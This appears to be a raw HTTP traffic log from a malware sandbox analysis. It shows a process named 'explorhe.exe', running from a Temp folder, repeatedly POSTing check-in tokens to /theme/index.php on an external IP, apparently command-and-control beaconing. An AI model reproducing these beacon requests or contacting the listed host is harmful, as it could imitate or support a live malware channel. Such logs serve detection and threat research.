Jan 18, 2024 00:37:42.689289093 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:42.921947956 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
247	192.168.2.6	50485	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:43.176048994 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:43.420033932 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
248	192.168.2.6	50486	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:43.787395954 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:44.019036055 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
249	192.168.2.6	50487	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:44.266894102 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:44.504429102 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
250	192.168.2.6	50488	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:44.846930981 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:45.079180002 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
251	192.168.2.6	50489	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:45.323956013 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:45.562410116 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
252	192.168.2.6	50490	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:45.928658009 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:46.162643909 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
253	192.168.2.6	50491	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:46.447443962 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:46.690547943 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
254	192.168.2.6	50492	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:47.044019938 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:47.285567999 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
255	192.168.2.6	50493	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:47.538883924 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:47.775934935 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
256	192.168.2.6	50494	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:48.149369955 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:48.387470961 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
257	192.168.2.6	50495	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:48.654942989 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:48.901009083 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
258	192.168.2.6	50496	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:49.262655020 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:49.496037960 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
259	192.168.2.6	50497	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:49.747801065 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:49.985126972 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
260	192.168.2.6	50498	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:50.365946054 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:50.599891901 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
261	192.168.2.6	50499	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:50.854484081 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:51.099642038 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
262	192.168.2.6	50500	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:51.456957102 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:51.694447041 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
263	192.168.2.6	50501	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:51.948549986 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:52.185169935 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
264	192.168.2.6	50502	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:52.563033104 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:52.801845074 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
265	192.168.2.6	50503	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:53.048652887 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:53.285579920 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
266	192.168.2.6	50504	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:53.649635077 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:53.885586977 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
267	192.168.2.6	50505	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:54.134962082 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jan 18, 2024 00:37:54.372222900 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
268	192.168.2.6	50506	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:54.758157015 CET	153	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jan 18, 2024 00:37:54.990207911 CET	191	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Jan 2024 23:37:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 20 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 2 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
269	192.168.2.6	50507	185.215.113.68	80	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
Jan 18, 2024 00:37:55.277437925 CET	311	OUT	POST /theme/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.68 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 39 38 34 42 34 45 46 41 38 42 37 43 39 37 39 39 31 34 33 34 41 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58984B4EFA8B7C97991434AB140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
